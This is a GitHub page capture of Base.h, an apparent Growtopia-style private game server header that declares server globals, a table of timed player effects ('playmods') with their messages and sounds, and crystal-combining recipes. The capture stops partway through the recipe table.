forked from LyNnz01/eon
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBase.h
3812 lines (3695 loc) · 182 KB
/
Base.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#pragma once
using json = nlohmann::json;
int server_port = 0;
BYTE* item_data_ios;
int item_hash_ios, item_data_size_ios;
BYTE* item_data;
int item_hash, item_data_size;
vector<string> swear_words = {}, splicing, combining, combusting, crystals;
ENetHost* server;
string documents = "C:/Users/Admin/Desktop/SERVER";
//vector<pair<string, int>> item_prices;
// "C:/Users/admin/Desktop/SERVER/x64/Release";
//= "C:/Users/admin/Desktop/SERVER/x64/Release";
vector<int>random_shop_item;
//C:\Users\Administrator\Desktop\Release
vector<int> dstone;
vector<vector<int>> kainos = {
};
string domain = "", packet_data = "";
vector<pair<int, int>>items_washing;
string shop_list = "", opc_list = "", shop_list2 = "", shop_list2_2 = "", zombie_list = "", surgery_list = "", rare_text = "", rainbow_text = "", wolf_list = "";
vector<pair<int, int>> lockeitem, untradeitem, opc_item, zombieitem, surgeryitem, wolfitem, premium_item;
bool Carnival = false; // EVENT
bool Growganoth = true; // EVENT
bool secret_standopowah = false;
vector<vector<string>> info_about_playmods{
// playmod id, consumableId_time, playmod name, playmod on used, playmod on removed, display id, state, skin, how work, eff, say text after using, gravity
{"1", "388", "300", "Stinky", "You really really smell.", "The air clears.", "372", "14", "spray.wav", "", "", "", "", ""},
{"2", "1368", "2", "Frozen", "Your body has turned to ice.You can't move!", "You've thawed out.", "1368", "11", "freeze.wav", "4284769380", "", "", "", ""},
{"3", "274", "10","Frozen", "Freeze!", "You've thawed out.", "274", "11", "freeze.wav", "4284769380", "", "", "", ""},
{"4", "874", "180", "Egged!", "You have egg on your face.", "You washed your face!", "874", "", "", "16777215", "throw", "42", "", ""},
{"5", "3404", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"6", "3406","0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"7", "4422","0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"8", "386", "0","", "", "", "", "", "", "", "cutewords", "", "", ""},
{"9", "10660", "1800", "Lucky in Love: Increased chance of Golden Heart Crystal", "Increased chance of Golden Heart Crystal!", "The honeymoon phase is over!", "10660", "", "", "", "", "", ":D`#YUMMY!``", ""},
{"10", "2206", "1800", "Irradiated", "You are aglow with radiation!", "You have recovered.", "2206", "19", "", "", "", "", "", ""},
{"11", "408", "300", "Duct Tape", "Duct tape has covered your mouth!", "Duct tape removed. OUCH!", "408", "13", "already_used.wav", "", "", "", "", ""},
{"12", "384", "3600", "Valentine", "You are somebody's valentine!", "Yuck!", "384", "", "choir.wav", "2526478335", "", "", "", ""},
{"13", "2480", "300", "Megaphone!", "Broadcasting to ALL!", "You can broadcast once again.", "2480", "", "", "", "", "", "", ""},
{"14", "528", "1800", "Lucky", "You're luckier than before!", "Your luck has worn off.", "528", "15", "", "", "", "", "", ""},
{"15", "1510", "10", "1512", "", "", "", "", "", "", "pet", "", "Legend says that you need 10 Blarney Pebbles!", ""},
{"16", "4672", "1800", "Envious", "It ain't easy being you.", "Healthy color restored.", "4672", "", "eat.wav", "1627349247", "", "", "", ""},
{"17", "196", "3600", "Feelin' Blue", "A `!blueberry`` slides down your throat!", "The effects of the `!blueberry`` have worn off.", "196", "", "spray.wav", "4278190335", "drop", "", "", ""},
{"18", "338", "2", "Floating!", "Whoooooooaaaaaaaa...", "Gravity - it's the law.", "338", "", "balloon.wav", "", "drop", "", "", "-30"},
{"19", "962", "180", "Saucy!", "You are a saucy person.", "You got cleaned up.", "962", "", "", "65535", "throw", "45", "", ""},
{"20", "950", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"21", "968", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"22", "1058", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"23", "1096", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"24", "868", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"25", "782", "3600", "Antidote!", "You are now immune to zombie bites! Temporarily...", "Your immunity is gone.", "782", "", "", "", "drop", "25", "", ""},
{"26", "4668", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"27", "128", "1800", "Golden Halo!", "You have been good.", "You're falling out of favor.", "128", "7", "", "-2104114177", "drop", "25", "", ""},
{"28", "764", "60", "Infected!", "You've been infected by the g-Virus. Punch others to infect them, too! Braiiiins...", "You've been cured.", "764", "16", "", "", "drop", "", "", ""},
{"29", "5178", "1800", "Lucky", "You're luckier than before!", "Your luck has worn off.", "5178", "15", "", "", "", "", "", ""},
{"30", "1058", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"31", "1094", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"32", "1096", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"33", "1098", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"34", "2002", "86400","Doctor Replusion", "Doctors won't come near you!", "You no longer repel doctors.", "2002", "", "spray.wav", "", "", "", "", ""},
{"35", "7058", "300", "Food: Purified Scythe", "Hand Scythe breaks 5% less!", "You no longer feel pure!", "7058", "15", "", "", "", "", "", ""},
{"36", "1056", "1800", "Lucky", "You're luckier than before!", "Your luck has worn off.", "1056", "15", "", "", "", "", "", ""},
{"37", "4378", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"38", "614", "300", "Rotten Egg", "You really really smell.", "The air clears.", "614", "14", "spray.wav", "", "", "", "", ""},
{"39", "1374", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"40", "406", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"41", "966", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"42", "4766", "1800", "Blushing Red", "`4Cherry`` red lips!", "The effects of the `!Cherry`` have worn off.", "4766", "", "spray.wav", "842203135", "", "", "", ""},
{"43", "958", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"44", "950", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"45", "1580", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"46", "7052", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"47", "1634", "5", "Caffeinated", "You are full of caffeine!", "Ugh. Caffeine crash.", "1634", "14", "spray.wav", "", "", "", "", ""},
{"48", "4666", "0", "/cry", "", "", "", "", "", "", "consume", "", "", ""},
{"49", "6314", "2", "Frozen", "Your body has turned to ice. You can't move!", "You've thawed out.", "6314", "11", "freeze.wav", "4284769380", "", "", "", ""},
{"50", "3064", "0", "", "", "", "3064", "", "", "", "throw", "34", "", ""},
{"51", "8520", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"52", "10628", "0", "/dab", "", "", "", "", "", "", "consume", "", "", ""},
{"53", "1474", "1800", "Food: Extra XP", "25% chance of double XP for all actions.", "Your stomach's rumbling.", "1474", "", "spray.wav", "", "drop", "", "", ""},
{"54", "3546", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"55", "3600", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"56", "3836", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"57", "3240", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"58", "4410", "0", ":P`#Bleh.``", "", "", "", "", "", "", "consume", "", "", ""},
{"59", "4752", "0", ":D`#YUM!``", "", "", "", "", "", "", "cutewords", "", "", ""},
{"60", "2734", "0", ":D`#YUM!``", "", "", "", "", "", "", "cutewords", "", "", ""},
{"61", "3622", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"62", "10988", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"63", "4764", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"64", "964", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"65", "3428", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"66", "3816", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"67", "126", "1800", "Devil Horns", "You little devil...", "Off the naughty list!", "126", "6", "spray.wav", "", "drop", "", "", ""},
{"68", "1964", "1800", "Devil Horns", "You little devil...", "Off the naughty list!", "1964", "6", "spray.wav", "", "drop", "", "", ""},
{"69", "960", "5", "ON FIRE!!!", "You are burning up!", "The fire's out.", "960", "17", "spray.wav", "842203135", "", "", "", ""},
{"70", "712", "5", "ON FIRE!!!", "You are burning up!", "The fire's out.", "712", "17", "spray.wav", "842203135", "", "", "", ""},
{"71", "1988", "1800", "Haunted!", "You are haunted!", "Not anymore.", "372", "18", "spray.wav", "", "", "", "", ""},
{"72", "1772", "2", "Floating!", "Whoooooooaaaaaaaa...", "Gravity - it's the law.", "1772", "", "balloon.wav", "", "drop", "", "", "-30"},
{"73", "5262", "5", "Neon Gum!", "Dazzle your friends as super funky neon lines course across your skin.", "Party's over.", "5262", "28", "spray.wav", "", "drop", "", "", ""},
{"74", "676", "86400","Doctor Replusion", "Doctors won't come near you!", "You no longer repel doctors.", "676", "", "spray.wav", "", "", "", "", ""},
{"75", "276", "0", "", "", "", "", "", "", "", "cutewords", "", "", ""},
{"76", "732", "60", "Banned", "Reality flickers as you begin to wake up.", "You are no longer banned. Now be good!", "732", "12", "", "", "", "", "", "" },
{"77", "618", "0", "", "", "", "", "", "", "", "cutewords", "", "", ""},
{"78", "616", "0", "", "", "", "", "", "", "", "cutewords", "", "", ""},
{"79", "614", "0", ":P", "", "", "", "", "", "", "consume", "", "", ""},
{"80", "750", "1800", "Lucky", "You're luckier than before!", "Your luck has worn off.", "750", "15", "", "", "", "", "", ""},
{"81", "752", "0", "", "", "", "", "", "", "", "cutewords", "25", "", ""},
{"82", "1208", "0", ":D`#YUM!``", "", "", "", "", "", "", "consume", "", "", ""},
{"83", "5114", "120", "Calm Nerves", "Steady hands of a surgeon.", "Butterfingers again.", "5114", "14", "spray.wav", "", "", "", "", ""},
{"84", "6912", "1800", "Spicey Skills", "Reduce your skill fails by half in both Surgery and Startopia missions.", "Your stomach's too spicey.", "6912", "", "spray.wav", "", "", "", "", ""},
{"85", "3536", "0", "Mmm, sugar!", "", "", "", "", "", "", "consume", "", "", ""},
{"86", "1260", "3600", "Malpractice", "You are not allowed to perform surgery for a while!", "You can surg again.", "1260", "", "", "", "", "", "", ""},
{"87", "1270", "3600", "Recovering", "You are recovering from surgery.", "You healed.", "1270", "", "", "", "", "", "", ""},
{"88", "8500", "0", "", "", "", "", "", "", "", "cutewords", "", "", ""},
{"89", "4602", "300", "Stinky", "You really really smell.", "The air clears.", "4602", "14", "spray.wav", "", "", "", "", ""},
{"90", "8544", "43200", "Lupus malady", "You've been infected with lupus!", "You no longer have lupus!", "8544", "", "spray.wav", "", "", "", "", ""},
{"91", "8540", "43200", "Moldy Guts malady", "You've been infected with moldy guts!", "You no longer have moldy guts!", "8540", "", "spray.wav", "", "", "", "", ""},
{"92", "8546", "43200", "Ecto-Bones malady", "You've been infected with Ecto-Bones!", "Your bones are no longer ectoplasmic!", "8546", "", "spray.wav", "", "", "", "", ""},
{"93", "8538", "43200", "Chaos Infection malady", "You've been infected with CHAOS!", "You no longer have CHAOS!", "8538", "", "spray.wav", "", "", "", "", ""},
{"94", "8548", "43200", "Fatty Liver malady", "You've been infected with fatty liver!", "You no longer have fatty liver!", "8548", "", "spray.wav", "", "", "", "", ""},
{"95", "8542", "43200", "Brainworms malady", "You've been infected with brainworms!", "You no longer have brainworms!", "8542", "", "spray.wav", "", "", "", "", ""},
{"96", "6908", "1800", "Food: Buff Duration", "Increase the duration of food buffs by 30%", "Your stomach can't take anymore buffs!", "6908", "", "spray.wav", "", "drop", "", "", ""},
{"97", "5452", "1800", "Food: Extra XP", "10% chance of triple XP for all actions.", "Your body craves sugar!", "5452", "", "spray.wav", "", "drop", "", "", "" },
{"98", "2734", "1200", "Ultimate Super Pineapple Magic", "Ultimate Super Pineapple", "The ULTIMATE Super Pineapple Magic has come to an end!", "2734", "25", "", "", "", "", "", "" },
{"99", "8384", "10", "Gross Bean", "You really really smell.", "The air clears.", "8384", "14", "spray.wav", "", "", "", "", ""},
{"100", "4256", "500", "Popcorn", "Popcorn!", "", "4256", "", "", "", "consume", "206", "", "" },
{ "101", "5406", "300", "Red Winterfest Crown!", "You're in the Winterfest spirit.", "Your paper crown dissolved in your forehead sweat!", "5406", "", "spray.wav", "", "", "", "", "" },
{ "102", "5408", "300", "Green Winterfest Crown!", "You're in the Winterfest spirit.", "Your paper crown dissolved in your forehead sweat!", "5408", "", "spray.wav", "", "", "", "", "" },
{ "103", "5410", "300", "Silver Winterfest Crown!", "You're in the Winterfest spirit.", "Your paper crown dissolved in your forehead sweat!", "5410", "", "spray.wav", "", "", "", "", "" },
{ "104", "5412", "300", "Gold Winterfest Crown!", "You're in the Winterfest spirit.", "Your paper crown dissolved in your forehead sweat!", "5412", "", "spray.wav", "", "", "", "", "" },
{ "105", "4232", "0", "`#:D YUM!``", "", "", "4232", "", "", "", "consume", "204", "", "" },
{ "106", "4324", "1800", "Extra XP", "Your brain has been enhanced!", "You're getting dumber by the second.", "4324", "", "spray.wav", "", "drop", "", "", "" },
{ "107", "4596", "1800", "Food: Surgery XP", "Gain 30% more XP from Surgery!", "Your stomach's rumbling.", "4596", "", "spray.wav", "", "drop", "", "", "" },
{ "108", "11068", "0", "`#:D Ahhh! That is REFRESHING!``", "", "", "11068", "", "", "", "consume", "204", "", "" },
{ "109", "6050", "1800", "Food: Pet Gems 200", "Get 200 Gems for beating a Pet Trainer.", "Your stomach's rumbling.", "6050", "", "spray.wav", "", "drop", "", "", "" },
{ "110", "6048", "1800", "Food: Pet Gems 150", "Get 150 Gems for beating a Pet Trainer.", "Your stomach's rumbling.", "6048", "", "spray.wav", "", "drop", "", "", "" },
{ "111", "6046", "1800", "Food: Pet Gems 100", "Get 100 Gems for beating a Pet Trainer.", "Your stomach's rumbling.", "6046", "", "spray.wav", "", "drop", "", "", "" },
{ "112", "6910", "1800", "Food: Delectable", "25% chance of double Growtokens from Daily Quests.", "Your stomach's devasted!", "6910", "", "spray.wav", "", "drop", "", "", "" },
{ "113", "4604", "1800", "Food: Breaking Gems", "10% chance of a gem when you break a block.", "Your stomach's rumbling.", "4604", "", "spray.wav", "", "drop", "", "", "" },
{ "114", "3728", "6", "Slimed!", "You're covered in ectoplasm!", "You got cleaned up.", "3728", "", "spray.wav", "", "drop", "", "", "" },
{ "115", "1602", "900", "Minty", "Ya'll are feelin' minty, sugah.", "Healthy color restored.", "1602", "", "eat.wav", "1627349247", "", "", "", "" },
{ "116", "12152", "600", "Janeway's Coffee: Speedy", "On my mark... Go Fast!", "Speed normalized!", "12152", "14", "spray.wav", "", "", "", "", "" },
{ "117", "4982", "180", "Orange", "You are a orange person.", "You got cleaned up.", "4982", "", "spray.wav", "9240575", "", "", "", "" },
{ "118", "4594", "1800", "Food: Tree Growth food buff", "Trees you plant grow 5% faster!", "Your stomach's rumbling.", "4594", "", "spray.wav", "", "drop", "", "", "" },
{ "119", "1662", "5", "Spikeproof", "You are briefly immune to spikes and lava", "You feel vulnerable again.", "1662", "10", "", "", "", "", "", "" },
{ "120", "733", "120", "BAN Cooldown!", "BAN cooldown!", "Your ban cooldown is gone.", "732", "", "", "", "", "", "", "" },
{ "121", "2480", "1800", "BONUS-SB!", "Broadcasting to ALL!", "You can broadcast once again.", "2480", "", "", "", "", "", "", "" },
{ "122", "2480", "60", "SPECIAL SB!", "Broadcasting to ALL!", "You can broadcast once again.", "2480", "", "", "", "", "", "", "" },
{ "123", "368", "6", "Muddy", "You've been splattered with mud!", "Clean again!", "368", "", "spray.wav", "1348237567", "", "", "", "" },
{ "124", "10490", "1800", "Performance Enhanced!", "Increased Points with Gloves!", "Get back to the competition!", "10490", "", "spray.wav", "", "", "", "", "" },
{ "125", "9852", "2678400", "Guardian Role", "You have received guardian role!", "Guardian role is over...", "9852", "", "spray.wav", "", "drop", "", "", "" },
{ "126", "9854", "2678400", "VIP Role", "You have received VIP role!", "VIP role is over...", "9854", "", "spray.wav", "", "drop", "", "", "" },
{ "127", "9018", "600", "Dark Ticket", "Welcome to TOMB OF GROWGANOTH!", "Your journey is over...", "9018", "", "boo_evil_laugh.wav", "", "drop", "", "", "" },
{ "128", "2992", "600", "Wolf Whistle", "Welcome to Wolf World!", "Your journey is over...", "2992", "", "boo_evil_laugh.wav", "", "drop", "", "", "" },
{ "129", "9266", "86400", "1-Day Subscription Token", "Received 1 Day Subscribtion", "Your journey is over...", "9266", "", "spray.wav", "", "drop", "", "", "Subscribtion" },
{ "130", "6856", "259200", "3-Day Subscription Token", "Received 3 Day Subscribtion", "Your journey is over...", "6856", "", "spray.wav", "", "drop", "", "", "Subscribtion" },
{ "131", "6858", "1209600", "14-Day Subscription Token", "Received 14 Day Subscribtion", "Your journey is over...", "6858", "", "spray.wav", "", "drop", "", "", "Subscribtion" },
{ "132", "6860", "2592000", "30-Day Subscription Token", "Received 30 Day Subscribtion", "Your journey is over...", "6860", "", "spray.wav", "", "drop", "", "", "Subscribtion" },
{ "133", "8188", "31536000", "1-Year Subscription Token", "Received 1 Year Subscribtion", "Your journey is over...", "8188", "", "spray.wav", "", "drop", "", "", "Subscribtion" },
{ "134", "11400", "1800", "Energy Drink: Double XP & gems", "Double gems & XP!", "Your stomach's rumbling.", "11400", "", "eat.wav", "", "drop", "", "", "" },
{ "135", "4830", "3", "Balloon Immunity", "Balloons can't hit you, but you can't throw them either.", "You can now throw balloons and get hit by them too.", "4830", "15", "eat.wav", "", "drop", "", "", "" },
{ "136", "4844", "600", "Dripping Wet!", "You've been hit, you're too wet to throw balloons.", "All dry, go nuts.", "4844", "27", "", "", "throw", "0", "", "" },
{ "137", "4842", "600", "Balloon-Proof", "Balloon repellent applied.", "Your stomach's rumbling.", "4842", "", "spray.wav", "", "drop", "", "", "" },
{ "138", "4882", "600", "Towel Rack Checkpoint", "Towel Rack Checkpoint cooldown.", "You can hit the checkpoint again!", "4882", "", "spray.wav", "", "drop", "", "", "" },
{ "139", "278", "60", "Curse", "You've been cursed to (the world) `4hell``!", "You are free to go!", "278", "12", "", "", "", "", "", "" },
{ "140", "4984", "0", "`#:D YUM!``", "", "", "4984", "", "", "", "consume", "204", "", "" },
{ "141", "9904", "600", "Stinky", "You really really smell.", "The air clears.", "9904", "14", "spray.wav", "", "", "", "", ""},
{ "142", "2480", "60", "Legend SB!", "Broadcasting to ALL!", "You can broadcast once again.", "2480", "", "", "", "", "", "", "" },
{ "143", "9726", "604800", "Cheater Role Ĝ", "You have received cheater role!", "Cheater role is over...", "9726", "", "spray.wav", "", "drop", "", "", "" },
{ "144", "12600", "250", "Ultra World Spray", "Calmdown with the world spray..", "You can now use ultra world spray again.", "12600", "", "", "", "", "", "", "" },
{ "145", "6914", "1800", "Sparkling Gems", "Get extra gems from a variety of actions!", "Your stomach has too many bubbles!", "6914", "", "spray.wav", "", "drop", "", "", "" },
{ "146", "5940", "1800", "Guild Potion: Fishing", "The Guild Leader released the magic!", "The effects of the Guild Potion have ended!", "5940", "", "spray.wav", "", "drop", "", "", "" },
{ "147", "5942", "1800", "Guild Potion: Blocks", "The Guild Leader released the magic! 1% chance of Extra Blocks!", "The effects of the Guild Potion have ended!", "5942", "", "spray.wav", "", "drop", "", "", "" },
{ "148", "5934", "1800", "Guild Potion: Geiger", "The Guild Leader released the magic!", "The effects of the Guild Potion have ended!", "5934", "", "spray.wav", "", "drop", "", "", "" },
{ "149", "5938", "1800", "Guild Potion: Gems", "The Guild Leader released the magic! 1% bonus chance of Extra Gems!", "The effects of the Guild Potion have ended!", "5938", "", "spray.wav", "", "drop", "", "", "" },
{ "150", "2446", "10800", "Extra XP & Extra Wealth & Calm Nerves", "Ĵ A Night Luck for everything applied! Ĵ", "You lost your night luck... Ĵ", "2446", "", "", "", "", "", "", "" },
{ "151", "5984", "1800", "High Jump", "Your feet spring to life", "Your feet shrink back to normal", "5984", "", "spray.wav", "", "drop", "", "", "" },
{ "152", "3742", "60", "Spray Tan", "You are orange.", "The spray tan wore off.", "3742", "", "spray.wav", "613939967", "", "", "", "" },
{ "153", "10400", "86400", "Cheater Role Ĝ", "You have received cheater role!", "Cheater role is over...", "10400", "", "spray.wav", "", "drop", "", "", "" },
{ "154", "7056", "1800", "Food: Extra XP", "25% chance of double XP for catching ghosts.", "Your stomach's rumbling.", "7056", "", "spray.wav", "", "drop", "", "", "" }
};
vector<vector<vector<int>>> crystal_receptai = {
{{2242 /*red*/, 2}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {2254, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 1}, {2246 /*blue*/, 0}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {2262, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 3}, {2246 /*blue*/, 0}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2942, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 0}, {2246 /*blue*/, 2}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {2258, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 1}, {2246 /*blue*/, 1}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {2264, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 3}, {2246 /*blue*/, 2}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2944, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 2}, {2246 /*blue*/, 0}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {2256, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 0}, {2246 /*blue*/, 1}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {2260, 1}},
{{2242 /*red*/, 3}, {2244 /*green*/, 0}, {2246 /*blue*/, 2}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2940, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 0}, {2250 /*black*/, 5}, {2212, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 0}, {2246 /*blue*/, 2}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {2972, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 1}, {2246 /*blue*/, 2}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2268, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 2}, {2246 /*blue*/, 0}, {2248 /*white*/, 1}, {2250 /*black*/, 2}, {2266, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 0}, {2250 /*black*/, 3}, {2754, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 3}, {2250 /*black*/, 1}, {2756, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 3}, {2246 /*blue*/, 0}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {2706, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 1}, {2246 /*blue*/, 1}, {2248 /*white*/, 0}, {2250 /*black*/, 2}, {3180, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 2}, {2250 /*black*/, 3}, {4124, 1}},
{{2242 /*red*/, 3}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {5268, 1}},
{{2242 /*red*/, 3}, {2244 /*green*/, 1}, {2246 /*blue*/, 0}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {5266, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 1}, {2250 /*black*/, 4}, {6848, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 0}, {2246 /*blue*/, 3}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {6820, 1}},
{{2242 /*red*/, 0}, {2244 /*green*/, 2}, {2246 /*blue*/, 3}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2272, 3}},
{{2242 /*red*/, 2}, {2244 /*green*/, 0}, {2246 /*blue*/, 3}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2276, 5}},
{{2242 /*red*/, 0}, {2244 /*green*/, 2}, {2246 /*blue*/, 1}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {2252, 1}},
{{2242 /*red*/, 3}, {2244 /*green*/, 0}, {2246 /*blue*/, 1}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {2274, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 2}, {2246 /*blue*/, 2}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {2270, 10}},
{{2242 /*red*/, 2}, {2244 /*green*/, 1}, {2246 /*blue*/, 1}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {2590, 5}},
{{2242 /*red*/, 2}, {2244 /*green*/, 1}, {2246 /*blue*/, 1}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {2812, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 2}, {2246 /*blue*/, 0}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {3424, 1}},
